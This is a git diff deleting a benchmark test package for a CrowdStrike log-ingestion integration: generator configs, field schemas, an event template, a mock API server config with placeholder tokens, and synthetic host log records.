test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.expected delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/system/test-default-config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/aws-s3.yml.hbs delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/stream.yml.hbs delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/categorize.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_ioa.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_iom.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/default.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/epp_detection_summary.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/fim_rule_matched.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/inbound_network.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/outbound_network.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/base-fields.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/ecs.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/fields.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/manifest.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/sample_event.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-alert-dashboard.png delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-host-dashboard.png delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-vulnerability-dashboard.png delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/cs-falcon1.png delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/cs-fdr1.png delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/cs-overview1.png delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/logo-integrations-crowdstrike.svg delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/siem-alerts-cs.jpg delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/siem-events-cs.jpg delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml deleted file mode 100644 index 82cc41c36f..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml +++ /dev/null @@ -1,27 +0,0 @@ ---- -description: Benchmark 100000 alert events ingested -input: cel -deployer: docker -vars: - url: http://{{Hostname}}:{{Port}} - client_id: xxxx - client_secret: yyyy - token_url: http://{{Hostname}}:{{Port}}/oauth2/token -data_stream: - name: alert - vars: - enable_request_tracer: true - preserve_original_event: true -warmup_time_period: 2s -corpora: - input_service: - name: crowdstrike - generator: - total_events: 1000 - template: - path: ./alert-benchmark/template.ndjson - type: gotext - config: - path: ./alert-benchmark/config.yml - fields: - path: ./alert-benchmark/fields.yml diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml deleted file mode 100644 index f718388107..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml +++ /dev/null @@ -1,105 +0,0 @@ -fields: - - name: timestamp - period: -24h - - name: agent_id - cardinality: 1000 - - name: alleged_filetype - cardinality: 1000 - - name: cid - cardinality: 10 - - name: comments.falcon_user_id - cardinality: 10000 - - name: confidence - range: - min: 0 - max: 100 - cardinality: 1000 - - name: device.platform_name - enum: - - Windows - - Linux - - Mac - - name: device.agent_load_flags - enum: - - '0' - - '1' - - '2' - - '3' - - name: device.platform_id - enum: - - '0' - - '1' - - '3' - - name: device.device_id - cardinality: 10000 - - name: device.external_ipv6 - value: 20xx:xxx:xxxx:xxxx:5555:6666:7777:8888 - - name: device.local_ipv6 - value: 20xx:xxx:xxxx:xxxx:5555:6666:7777:8888 - - name: device.mac_address - value: 00:xx:xx:xx:4D:5E - - name: filename - cardinality: 10000 - - name: hostname - cardinality: 10000 - - name: id - cardinality: 100000 - - name: process_end_time - value: 1737735358 - - name: process_start_time - value: 1737735358 - - name: product - enum: - - cwpp - - data-protection - - epp - - idp - - mobile - - ngsiem - - overwatch - - thirdparty - - xdr - - name: severity_name - enum: - - Low - - Medium - - High - - name: status - enum: - - new - - in_progress - - closed - - reopened - - name: type - enum: - - ldt - - ods - - xdr - - ofp - - ssd - - windows_legacy - - name: tree_root - cardinality: 100000 - - name: tree_id - cardinality: 100000 - - name: username - cardinality: 10000 - - name: user_id - cardinality: 10000 - - name: network_accesses.connection_direction - enum: - - outbound - - inbound - - neither - - name: network_accesses.local_port - range: - min: 10000 - max: 95000 - - name: network_accesses.protocol - enum: - - TCP - - UDP - - name: network_accesses.remote_port - range: - min: 10000 - max: 95000 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml deleted file mode 100644 index a1fa39ee44..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml +++ /dev/null @@ -1,208 +0,0 @@ -- name: agent_id - type: keyword -- name: aggregate_id - type: keyword -- name: alleged_filetype - type: keyword -- name: cid - type: keyword -- name: cmdline - type: keyword -- name: comment - type: text -- name: comments - type: group - fields: - - name: falcon_user_id - type: keyword - - name: timestamp - type: date - - name: value - type: text -- name: composite_id - type: keyword -- name: confidence - type: integer -- name: control_graph_id - type: keyword -- name: created_timestamp - type: date -- name: description - type: text -- name: device - type: group - fields: - - name: agent_load_flags - type: keyword - - name: agent_local_time - type: date - - name: agent_version - type: keyword - - name: bios_manufacturer - type: keyword - - name: bios_version - type: integer - - name: cid - type: keyword - - name: device_id - type: keyword - - name: external_ip - type: ip - - name: external_ipv6 - type: ip - - name: first_seen - type: date - - name: groups - type: keyword - - name: hostinfo - type: group - fields: - - name: active_directory_dn_display - type: keyword - - name: domain - type: keyword - - name: hostname - type: keyword - - name: host_hidden_status - type: keyword - - name: last_seen - type: keyword - - name: instance_id - type: keyword - - name: local_ip - type: ip - - name: local_ipv6 - type: ip - - name: mac_address - type: keyword - - name: machine_domain - type: keyword - - name: major_version - type: integer - - name: minor_version - type: integer - - name: modified_timestamp - type: date - - name: os_version - type: keyword - - name: ou - type: keyword - - name: platform_id - type: keyword - - name: platform_name - type: keyword - - name: pod_id - type: keyword - - name: pod_labels - type: keyword - - name: pod_name - type: keyword - - name: pod_namespace - type: keyword - - name: pod_service_account_name - type: keyword - - name: product_type - type: keyword - - name: product_type_desc - type: keyword - - name: service_provider - type: keyword - - name: service_provider_account_id - type: keyword - - name: site_name - type: keyword - - name: system_manufacturer - type: keyword - - name: system_product_name - type: keyword - - name: tags - type: keyword -- name: display_name - type: keyword -- name: falcon_host_link - type: keyword -- name: filename - type: keyword -- name: filepath - type: keyword -- name: hostname - type: keyword -- name: id - type: keyword -- name: ioc_source - type: keyword -- name: ioc_type - type: keyword -- name: ioc_value - type: keyword -- name: md5 - type: keyword -- name: network_accesses - type: group - fields: - - name: access_type - type: integer - - name: connection_direction - type: keyword - - name: isIPV6 - type: boolean - - name: local_address - type: ip - - name: local_port - type: integer - - name: protocol - type: keyword - - name: remote_address - type: ip - - name: remote_port - type: integer -- name: objective - type: keyword -- name: parent_process_id - type: integer -- name: pattern_id - type: integer -- name: process_end_time - type: date -- name: process_id - type: integer -- name: process_start_time - type: date -- name: product - type: keyword -- name: scenario - type: keyword -- name: severity - type: integer -- name: severity_name - type: keyword -- name: sha256 - type: keyword -- name: show_in_ui - type: boolean -- name: status - type: keyword -- name: tactic - type: keyword -- name: tactic_id - type: keyword -- name: technique - type: keyword -- name: technique_id - type: keyword -- name: timestamp - type: date -- name: tree_id - type: keyword -- name: tree_root - type: integer -- name: triggering_process_graph_id - type: keyword -- name: type - type: keyword -- name: updated_timestamp - type: date -- name: username - type: keyword -- name: user_id - type: keyword diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson deleted file mode 100644 index 2841b0f2a6..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson +++ /dev/null @@ -1,97 +0,0 @@ -{{- $agent_id := generate "agent_id" }} -{{- $aggregate_id := generate "aggregate_id" }} -{{- $alleged_filetype := generate "alleged_filetype" }} -{{- $access_type := generate "network_accesses.access_type" }} -{{- $connection_direction := generate "network_accesses.connection_direction" }} -{{- $isIPV6 := generate "network_accesses.isIPV6" }} -{{- $local_address := generate "network_accesses.local_address" }} -{{- $local_port := generate "network_accesses.local_port" }} -{{- $protocol := generate "network_accesses.protocol" }} -{{- $remote_address := generate "network_accesses.remote_address" }} -{{- $remote_port := generate "network_accesses.remote_port" }} -{{- $cid := generate "cid" }} -{{- $cmdline := generate "cmdline" }} -{{- $comment := generate "comment" }} -{{- $falcon_user_id := generate "comments.falcon_user_id" }} -{{- $timestamp := generate "comments.timestamp" | date "2006-01-02T15:04:05.000000000Z" }} -{{- $value := generate "comments.value" }} -{{- $composite_id := generate "composite_id" }} -{{- $confidence := generate "confidence" }} -{{- $control_graph_id := generate "control_graph_id" }} -{{- $created_timestamp := generate "created_timestamp" | date "2006-01-02T15:04:05.000000000Z" }} -{{- $description := generate "description" }} -{{- $last_seen := generate "device.last_seen" | date "2006-01-02T15:04:05.00Z" }} -{{- $agent_load_flags := generate "device.agent_load_flags" }} -{{- $agent_local_time := generate "device.agent_local_time" | date "2006-01-02T15:04:05.000Z" }} -{{- $agent_version := generate "device.agent_version" }} -{{- $bios_manufacturer := generate "device.bios_manufacturer" }} -{{- $bios_version := generate "device.bios_version" }} -{{- $device_id := generate "device.device_id" }} -{{- $external_ip := generate "device.external_ip" }} -{{- $external_ipv6 := generate "device.external_ipv6" }} -{{- $first_seen := generate "device.first_seen" | date "2006-01-02T15:04:05.000Z" }} -{{- $groups := generate "device.groups" }} -{{- $active_directory_dn_display := generate "device.hostinfo.active_directory_dn_display" }} -{{- $domain := generate "device.hostinfo.domain" }} -{{- $host_hidden_status := generate "device.host_hidden_status" }} -{{- $instance_id := generate "device.instance_id" }} -{{- $local_ip := generate "device.local_ip" }} -{{- $local_ipv6 := generate "device.local_ipv6" }} -{{- $mac_address := generate "device.mac_address" }} -{{- $machine_domain := generate "device.machine_domain" }} -{{- $major_version := generate "device.major_version" }} -{{- $minor_version := generate "device.minor_version" }} -{{- $modified_timestamp := generate "device.modified_timestamp" | date "2006-01-02T15:04:05.00Z" }} -{{- $os_version := generate "device.os_version" }} -{{- $ou := generate "device.ou" }} -{{- $platform_id := generate "device.platform_id" }} -{{- $platform_name := generate "device.platform_name" }} -{{- $pod_id := generate "device.pod_id" }} -{{- $pod_labels := generate "device.pod_labels" }} -{{- $pod_name := generate "device.pod_name" }} -{{- $pod_namespace := generate "device.pod_namespace" }} -{{- $pod_service_account_name := generate "device.pod_service_account_name" }} -{{- $product_type := generate "device.product_type" }} -{{- $product_type_desc := generate "device.product_type_desc" }} -{{- $service_provider := generate "device.service_provider" }} -{{- $service_provider_account_id := generate "device.service_provider_account_id" }} -{{- $site_name := generate "device.site_name" }} -{{- $system_manufacturer := generate "device.system_manufacturer" }} -{{- $system_product_name := generate "device.system_product_name" }} -{{- $tags := generate "device.tags" }} -{{- $display_name := generate "display_name" }} -{{- $falcon_host_link := generate "falcon_host_link" }} -{{- $filename := generate "filename" }} -{{- $filepath := generate "filepath" }} -{{- $hostname := generate "hostname" }} -{{- $id := generate "id" }} -{{- $ioc_source := generate "ioc_source" }} -{{- $ioc_type := generate "ioc_type" }} -{{- $ioc_value := generate "ioc_value" }} -{{- $md5 := generate "md5" }} -{{- $objective := generate "objective" }} -{{- $parent_process_id := generate "parent_process_id" }} -{{- $pattern_id := generate "pattern_id" }} -{{- $process_end_time := generate "process_end_time" }} -{{- $process_id := generate "process_id" }} -{{- $process_start_time := generate "process_start_time" }} -{{- $product := generate "product" }} -{{- $scenario := generate "scenario" }} -{{- $severity := generate "severity" }} -{{- $severity_name := generate "severity_name" }} -{{- $sha256 := generate "sha256" }} -{{- $show_in_ui := generate "show_in_ui" }} -{{- $status := generate "status" }} -{{- $tactic := generate "tactic" }} -{{- $tactic_id := generate "tactic_id" }} -{{- $technique := generate "technique" }} -{{- $technique_id := generate "technique_id" }} -{{- $timestamp_main := generate "timestamp" | date "2006-01-02T15:04:05.000Z" }} -{{- $tree_id := generate "tree_id" }} -{{- $tree_root := generate "tree_root" }} -{{- $triggering_process_graph_id := generate "triggering_process_graph_id" }} -{{- $type := generate "type" }} -{{- $updated_timestamp := generate "updated_timestamp" | date "2006-01-02T15:04:05.000000000Z" }} -{{- $username := generate "username" }} -{{- $user_id := generate "user_id" }} -{"agent_id":"{{ $agent_id }}","aggregate_id":"{{ $aggregate_id }}","alleged_filetype":"{{ $alleged_filetype }}","cid":"{{ $cid }}","cmdline":"{{ $cmdline }}","comment":"{{ $comment }}","comments":[{"falcon_user_id":"{{ $falcon_user_id }}@mail.com","timestamp":"{{ $timestamp }}","value":"{{ $value }}"}],"composite_id":"{{ $composite_id }}","confidence":{{ $confidence }},"control_graph_id":"{{ $control_graph_id }}","created_timestamp":"{{ $created_timestamp }}","description":"{{ $description }}","device":{"agent_version":"x.xx.xxxxx.x","agent_load_flags":"{{ $agent_load_flags }}","agent_local_time":"{{ $agent_local_time }}","bios_manufacturer":"{{ $bios_manufacturer }}","bios_version":"{{ $bios_version }}","cid":"{{ $cid }}","device_id":"{{ $device_id }}","external_ip":"{{ $external_ip }}","external_ipv6":"{{ $external_ipv6 }}","first_seen":"{{ $first_seen }}","groups":"{{ $groups }}","hostinfo":{"active_directory_dn_display":"{{ $active_directory_dn_display }}","domain":"{{ $domain }}"},"hostname":"{{ $hostname }}","host_hidden_status":"{{ $host_hidden_status }}","last_seen":"{{ $last_seen }}","instance_id":"{{ $instance_id }}","local_ip":"{{ $local_ip }}","local_ipv6":"{{ $local_ipv6 }}","mac_address":"{{ $mac_address }}","machine_domain":"{{ $machine_domain }}","major_version":{{ $major_version }},"minor_version":{{ $minor_version }},"modified_timestamp":"{{ $modified_timestamp }}","os_version":"{{ $os_version }}","ou":["{{ $ou }}"],"platform_id":"{{ $platform_id }}","platform_name":"{{ $platform_name }}","pod_id":"{{ $pod_id }}","pod_labels":["{{ $pod_labels }}"],"pod_name":"{{ $pod_name }}","pod_namespace":"{{ $pod_namespace }}","pod_service_account_name":"{{ $pod_service_account_name }}","product_type":"{{ $product_type }}","product_type_desc":"{{ $product_type_desc }}","service_provider":"{{ $service_provider }}","service_provider_account_id":"{{ $service_provider_account_id }}","site_name":"{{ $site_name }}","status":"{{ $status }}","system_manufacturer":"{{ $system_manufacturer }}","system_product_name":"{{ $system_product_name }}","tags":["{{ $tags }}"]},"display_name":"{{ $display_name }}","falcon_host_link":"https://falcon.crowdstrike.com/activity-v2/detections/{{ $falcon_host_link }}","filename":"{{ $filename }}.{{ $alleged_filetype }}","filepath":"\\\\{{ $filepath }}\\\\{{ $filename }}.{{ $alleged_filetype }}","id":"{{ $id }}","ioc_source":"{{ $ioc_source }}","ioc_type":"{{ $ioc_type }}","ioc_value":"{{ $ioc_value }}","md5":"{{ $md5 }}","mitre_attack":{"pattern_id":{{ $pattern_id }},"tactic_id":"{{ $tactic_id }}","technique_id":"{{ $technique_id }}","tactic":"{{ $tactic }}","technique":"{{ $technique }}"},"name":"{{ $username }} on {{ $hostname }}","network_accesses":[{"access_type":"{{ $access_type }}","connection_direction":"{{ $connection_direction }}","isIPV6":{{ $isIPV6 }},"local_address":"{{ $local_address }}","local_port":{{ $local_port }},"protocol":"{{ $protocol }}","remote_address":"{{ $remote_address }}","remote_port":{{ $remote_port }}}],"objective":"{{ $objective }}","parent_process_id":{{ $parent_process_id }},"pattern_id":{{ $pattern_id }},"platform":"{{ $platform_name }}","process_end_time":"{{ $process_end_time }}","process_id":{{ $process_id }},"process_start_time":"{{ $process_start_time }}","product":"{{ $product }}","scenario":"{{ $scenario }}","severity":{{ $severity }},"severity_name":"{{ $severity_name }}","sha256":"{{ $sha256 }}","show_in_ui":{{ $show_in_ui }},"status":"{{ $status }}","tactic":"{{ $tactic }}","tactic_id":"{{ $tactic_id }}","technique":"{{ $technique }}","technique_id":"{{ $technique_id }}","timestamp":"{{ $timestamp_main }}","tree_id":"{{ $tree_id }}","tree_root":{{ $tree_root }},"triggering_process_graph_id":"{{ $triggering_process_graph_id }}","type":"{{ $type }}","updated_timestamp":"{{ $updated_timestamp }}","user_id":"{{ $user_id }}"}, diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml deleted file mode 100644 index cfa001fee1..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml +++ /dev/null @@ -1,16 +0,0 @@ -version: "2.3" -services: - crowdstrike: - image: docker.elastic.co/observability/stream:v0.20.0 - hostname: crowdstrike - ports: - - 8080 - volumes: - - ./files:/files:ro - - ${SERVICE_LOGS_DIR}:/var/log - environment: - PORT: "8080" - command: - - http-server - - --addr=:8080 - - --config=/files/config.yml diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml deleted file mode 100644 index 8ac8e5871e..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml +++ /dev/null @@ -1,128 +0,0 @@ -rules: - - path: /oauth2/token - methods: ['POST'] - responses: - - status_code: 200 - headers: - Content-Type: - - 'application/json' - body: | - {"access_token":"xxxx","expires_in":3600,"token_type":"Bearer","refresh_token":"yyyy"} - - path: /alerts/combined/alerts/v1 - methods: ['POST'] - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: |- - { - "meta": { - "pagination": { - "total": 100000, - "limit": 100 - } - }, - "errors": [], - "resources": [ - {{/* Comma is added at the end of each line inside the template to preserve JSON format */}} - {{- $g := glob "/var/log/corpus-*" -}} - {{- range $g -}} - {{- file . -}} - {{- end -}} - {{/* A last line of hard-coded data is required to properly close the JSON body */}} - {"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"created_timestamp":"2023-11-03T18:01:23.995794943Z","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","severity":30,"status":"new","timestamp":"2023-11-03T18:00:22.328Z","updated_timestamp":"2023-11-03T19:00:23.985007341Z"} - ] - } - - path: /devices/combined/devices/v1 - methods: ['GET'] - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: |- - { - "meta": { - "pagination": { - "total": 100000, - "limit": 100 - } - }, - "errors": [], - "resources": [ - {{/* Comma is added at the end of each line inside the template to preserve JSON format */}} - {{- $g := glob "/var/log/corpus-*" -}} - {{- range $g -}} - {{- file . -}} - {{- end -}} - {{/* A last line of hard-coded data is required to properly close the JSON body */}} - {"device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","cid":"92012896127c4a948236ba7601b886b0","agent_load_flags":"0","agent_local_time":"2023-11-07T04:51:16.678Z","agent_version":"7.05.17603.0","hostname":"test-host","status":"normal","modified_timestamp":"2023-11-07T04:51:16.678Z"} - ] - } - - path: /spotlight/combined/vulnerabilities/v1 - methods: ['GET'] - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: |- - { - "meta": { - "pagination": { - "total": 100000, - "limit": 100 - } - }, - "errors": [], - "resources": [ - {{/* Comma is added at the end of each line inside the template to preserve JSON format */}} - {{- $g := glob "/var/log/corpus-*" -}} - {{- range $g -}} - {{- file . -}} - {{- end -}} - {{/* A last line of hard-coded data is required to properly close the JSON body */}} - {"id":"CVE-2023-12345","cid":"92012896127c4a948236ba7601b886b0","aid":"2ce412d17b334ad4adc8c1c54dbfec4b","vulnerability_id":"CVE-2023-12345","status":"open","cve":{"severity":"MEDIUM","references":["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1234"]},"created_timestamp":"2023-11-03T18:01:23.995794943Z","updated_timestamp":"2023-11-03T19:00:23.985007341Z"} - ] - } - - path: /sensors/entities/datafeed/v2 - methods: ['GET'] - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: |- - { - "resources": [ - { - "dataFeedURL": "http://svc-crowdstrike:8080/events", - "sessionToken": { - "token": "secretsessiontoken" - }, - "refreshActiveSessionURL": "http://svc-crowdstrike:8080/refresh", - "refreshActiveSessionInterval": 1800 - } - ] - } - - path: /events - methods: ['GET'] - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: |- - {{- $g := glob "/var/log/corpus-*" -}} - {{- range $g -}} - {{- file . -}} - {{- end -}} - - path: /refresh - methods: ['POST'] - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: '' diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml deleted file mode 100644 index 6e1f17f7a9..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml +++ /dev/null @@ -1,10 +0,0 @@ -version: '2.3' -services: - terraform: - environment: - - AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_ID} - - AWS_SECRET_ACCESS_KEY=${AWS_SECRET_ACCESS_KEY} - - AWS_SESSION_TOKEN=${AWS_SESSION_TOKEN} - - AWS_PROFILE=${AWS_PROFILE} - - AWS_REGION=${AWS_REGION:-us-east-1} - - TF_VAR_eventbridge_role_arn=arn:aws:iam::144492464627:role/eb-scheduler-role-20231101165501426500000001 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_aidmaster.log b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_aidmaster.log deleted file mode 100644 index 5cf7cfb6de..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_aidmaster.log +++ /dev/null @@ -1,5 +0,0 @@ -{"AgentLoadFlags":"1","AgentLocalTime":"1697712608","AgentTimeOffset":"-1918.056","AgentVersion":"6.58.13921.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.21010423/w64","ChassisType":"Other","City":"Varanasi","ComputerName":"FEVWSA1-003","ConfigBuild":"1007.3.0017213.1","ConfigIDBuild":"13921","Continent":"Asia","Country":"India","FalconGroupingTags":"'FalconGroupingTags/INDIA'","FirstSeen":"1619196080.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"SAT;FE;VDI;Global;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"GNG","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992784.144","Timezone":"Asia/Varanasi","Version":"Windows 10","aid":"ffffffffa63e404bba4bff7465ab3afb","aip":"214.3.91.8","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} -{"AgentLoadFlags":"0","AgentLocalTime":"1697054061","AgentTimeOffset":"12274.197","AgentVersion":"7.01.13921.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.210105623/u64","ChassisType":"Other","City":"Hamilton","ComputerName":"MIVWIN21","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13921","Continent":"Europe","Country":"Iceland","FalconGroupingTags":"'FalconGroupingTags/Iceland'","FirstSeen":"1576097732.0","HostHiddenStatus":"Visible","MachineDomain":"iceland.bigbiz.local","OU":"Infrastructure for CM;Citrix BM","PointerSize":"8","ProductType":"3.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"Mosfellsbær","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992773.787","Timezone":"Europe/Iceland","Version":"Windows Server 2022","aid":"ffffffff3c0846978560dbc0048d6555","aip":"42.7.15.32","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} -{"AgentLoadFlags":"0","AgentLocalTime":"1697069182","AgentTimeOffset":"-2275.344","AgentVersion":"7.01.13922.0","BiosManufacturer":"American Megatrends","BiosVersion":"FW29-234098","ChassisType":"Space-Saving","City":"Mumbai","ComputerName":"FEVWSA1-029","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13922","Continent":"Asia","Country":"India","FalconGroupingTags":"'FalconGroupingTags/India'","FirstSeen":"1592645590.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"PROD;Win10 Workstations;India;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"IO","SystemManufacturer":"Dell","SystemProductName":"Dell Note","Time":"1697992701.85","Timezone":"India/Mumbai","Version":"Windows 10","aid":"ffffffffc59c473aa7fcbbe7438082cb","aip":"42.7.16.195","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} -{"AgentLoadFlags":"1","AgentLocalTime":"1697735519","AgentTimeOffset":"15963.231","AgentVersion":"6.56.17010.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.210105623/u64","ChassisType":"Other","City":"Chicago","ComputerName":"FEVWSN1-009","ConfigBuild":"1007.3.0017010.1","ConfigIDBuild":"17010","Continent":"North America","Country":"America","FalconGroupingTags":"none","FirstSeen":"1641998107.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"UAT;CAA;VDI;Global;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"BCL","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992762.221","Timezone":"America/Chicago","Version":"Windows ME","aid":"ffffffffac4148947ed68497e89f3308","aip":"16.15.12.10","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} 